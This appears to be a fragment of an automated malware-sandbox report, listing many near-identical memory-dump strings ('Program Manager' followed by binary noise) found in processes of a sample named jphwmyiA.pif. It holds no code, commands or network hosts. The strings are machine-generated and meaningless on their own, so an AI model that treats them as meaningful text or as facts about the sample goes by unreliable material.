          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q||\
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qh@
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qh=
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`e0&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q,hs*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$Xk&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q,*7&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhH
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhE
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q|~*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q(X]&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0he*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q, c*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhn
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0bh
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhy
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhw
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q|Ti*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qpF0&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qh8n&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qha
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\8Y
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qL:x&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q4uS&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhk
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhi
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhj
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q(Rr
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q4_h&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhf
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qt?y&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`Vs*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qtVE&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qD|P&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$Ko*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0cq
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0Rz*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\9b
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$Kn
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qd/
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qH^X*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q49k&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q<Is*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qp"\&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qx2d*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@xh
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q|zf*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qWF&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qtj^&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$4/&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q no&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q(|1&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$/F&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q<_^*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qlkX*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q(-x&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qd&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q|)g&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qd!
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qDVS&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0ul&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q(mt*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q(/8&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qpl-&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdL
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$%r*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdJ
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q|?R&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\.f
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q 8l
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdX
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program Managernager
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql]~*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdS
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdT
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qh+g*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qd=
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0,}*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qD@h&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qlOb
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qd9
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0Bh*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\2D&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`6~
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q(2`&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql"j&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdB
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@3z*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q _-&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q,2R&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdn
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdk
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qt2r*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qxzt*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qtH]*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qds
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdt
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A4CD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@AT*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q 5n
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdr
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qx?`&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\j1&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qd^y&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@vs
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qX"/&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@Ie*
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdZ
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdh
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q4^p
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qdf
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q|mY
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`4a
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q,W{*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q(Fm
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]ql3m&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q(%d*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qp{o&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$]^&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`26&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q<oo
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qd~
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0di&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qd|
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q,mf*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhE`
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q<tc*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`(
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@kf&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`4
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q0\a
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qX]B&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$D^
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qXFv&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q Pp*
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`#
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q8m`
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`L
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`:h
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`G
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qTM-&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@9A&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`Q
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`O
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`P
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q(Ge&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`N
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`;
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q<vY
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`D
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$Eg
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qtPq&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`B
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\]4&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`h
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`p
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`m
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q@"u&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qhG}
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`\
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q_x
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`Z
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`U
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$:w*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q8dM&
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q$Pb*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qD93&
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q @L&
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qlPv
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`8s
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`y
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`u
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`v
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qtau
          Source: jphwmyiA.pif, 00000010.00000002.3444167534.000000001A67F000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q`~
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026283000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmp, jphwmyiA.pif, 00000010.00000002.3444167534.000000001A55B000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q|
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q{
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q8}
          Source: jphwmyiA.pif, 00000014.00000002.3444524206.000000002A5D0000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]qxgd*
          Source: jphwmyiA.pif, 0000000C.00000002.3444740302.0000000026325000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Program ManagerLR]q\vu&
